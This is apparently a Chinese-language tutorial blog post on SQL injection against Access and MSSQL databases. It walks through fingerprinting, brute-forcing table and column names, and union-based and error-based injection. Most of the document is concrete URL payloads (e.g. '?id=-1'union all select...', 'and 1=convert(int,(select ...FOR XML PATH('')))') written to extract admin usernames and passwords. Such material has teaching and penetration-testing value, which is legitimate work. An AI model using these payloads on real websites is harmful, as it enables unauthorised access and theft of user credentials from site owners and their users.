之前的文章,已经详细介绍了sql注入的原理,和常见sql注入方式,并以MySql数据库进行了简单的示例。接下来,我们将以Access和Mssql数据库为例进行讲解
一、access数据库
1、判断数据库类型
- asp的网站,常用数据库为access、sqlserver
- Access数据库特有的表是:msysobjects ,所以可以用它来判断是否是Access数据库
and exists (select * from msysobjects)>0 //access数据库
在mysobjects上无读取权限,说明存在mysobjects表
2、注入
-
由于access数据库只有一个数据库(access本身),结构为表名-列名-内容数据
-
如果想要得到表名和列名,需要结合暴力破解
-
注入流程
- 查表:and exists (select * from 表名)//存在就返回正常页面,不存在就报错。
- 查列:and exists (select 列名 from 表名)
- 查数据:1.确定此条数据字段(列名)长度2.确定asc数据(asc编码)
3、举例说明
①判断是否存在注入及注入类型
②判断数据库类型
?id=2 and exists(select * from msysobjects)>0
由图可得是Access数据库
③爆破表名
?id=2+and+exists(select+*+from+table)
我们猜测admin_user表中可能存在我们需要的账号密码,接下来对此表爆破字段
④爆破字段名
?id=2+and+exists(select+column+from+admin_user)
得到admin和password两个重要字段
⑤获取字段位数
由上图知道了字段数为4
⑥获取显示位
?id=2+union+select+1,2,3,4+from+admin_user
得到显示位为2,3
⑦获取账号密码
?id=-2+union+select+1,admin,password,4+from+admin_user
二、Mssql
1、库结构
包含以下四个数据库
1)master
master 数据库记录了所有的 SQL Server 数据库系统的系统级信息,如用户帐户,配置设置,并在所有其他数据库信息。
①sysdatabases表
master库中保存所有库名
②syobjects表
每个数据库都有此表,保存数据库中的所有表名
Sysobjects | ||
name | id | xtype |
sysobjects | 1 | S |
syscolumns | 2 | S |
user | 3 | U |
qita | 4 | U |
- xtype='S'为系统自带表,xtype='U'为用户建立的表
- id值依照创建先后依次递增
③syscolumns表
Syscolumns | |
name | id |
username | 3 |
password | 3 |
id | 3 |
name | 1 |
id | 1 |
xtype | 1 |
- 对应的id值为该字段所在的表在syobjects对应的id值
- 例如username字段位于user表中,user表在syobjects对应的id值为3
2)model
model 数据库是一个模板数据库。每当创建一个新的数据库(包括系统数据库的TempDB),会创建一个以 Model 数据库为副本数据库,并更改成你创建数据库时所用的名
3)msdb
msdb 数据库是 SQL Server 代理的数据库,用于配置警报使用 SQL Server 代理和预定作业等
4)tempdb
tempddb 数据库是由 SQL Server 用于暂时存储数据的,这其中包含所有临时表,临时存储过程,并通过 SQL Server 生成任何其他临时存储需求。
2、注入流程
这里以报错注入为例
①获取当前数据库
and 1=(select db_name()) --
- mssql通过db_name()获取数据库名
- 由于mssql为强类型,所以字符串型=数字型会引发报错
②获取当前数据库内的所有数据表
and 1=convert(int,(select quotename(name) from 数据库名.用户名.sysobjects where xtype='U' FOR XML PATH(''))) --
- convert(dataType, expression):强制类型转换,dataType为目标类型, expression为原类型。由于Mssql为强类型数据库,强制类型转换会引发报错。1/user 1-user类似原理
- FOR XML PATH(''):以字符串形式输出
- quotename()类似于group_concat()
③获取当前数据库内的指定数据表的所有字段
and 1=(select quotename(name) from 数据库名.用户名.syscolumns where id =(select id from 数据库名.用户名.sysobjects where name='指定表名') FOR XML PATH(''))--
- 查找字段名需要使用syscolumns,通过不同表的id值锁定字段
④取指定数据库内的表数据内容
and 1=(select top 1 * from 指定数据库.用户名.指定表名 where 排除条件 FOR XML PATH(''))--
3、举例说明
这里我们使用联合注入、报错注入举例说明
1)联合注入
①判断字段位数
?id=1' order by 3--+
?id=1' order by 4--+
则字段数为3
②查看显示位
?id=-1'union all select '1','2','3'--+
③得到数据库名和用户名
?id=-1'union all select '1',db_name(),user--+
④获得表名
?id=-1'union all select '1',(select quotename(name) from test.dbo.sysobjects where xtype='U' FOR XML PATH('')),user--+
⑤获得字段名
?id=-1'union all select '1',(select quotename(name) from test.dbo.syscolumns where id=(select id from test.dbo.sysobjects where name='users') FOR XML PATH('')),user--+
⑥获取账号
?id=-1'union all select '1',(select quotename(username) from test.dbo.users FOR XML PATH('')),user--+
⑦获取密码
?id=-1'union all select '1',(select quotename(password) from test.dbo.users FOR XML PATH('')),user--+
2)报错注入
- 这里通过数字型和字符型判断是否相等而引发报错
①获得数据库名
?id=1') and 1=(select db_name())--+
②获得用户名
?id=1') and 1=(select user)--+
③获得表名
?id=1') and 1=(select quotename(name) from test.dbo.sysobjects where xtype='U' FOR XML PATH(''))--+
④获得字段名
?id=1') and 1=convert(int,(select quotename(name) from test.dbo.syscolumns where id=(select id from test.dbo.sysobjects where name='users') FOR XML PATH('')))--+
⑤获得账号
?id=1') and 1=convert(int,(select quotename(username) from test.dbo.users FOR XML PATH('')))--+
⑥获得密码
?id=1') and 1=convert(int,(select quotename(password) from test.dbo.users FOR XML PATH('')))--+